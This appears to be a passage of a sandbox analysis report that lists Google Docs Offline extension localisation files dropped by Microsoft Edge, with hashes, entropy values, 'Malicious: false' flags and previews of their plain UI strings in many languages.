Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
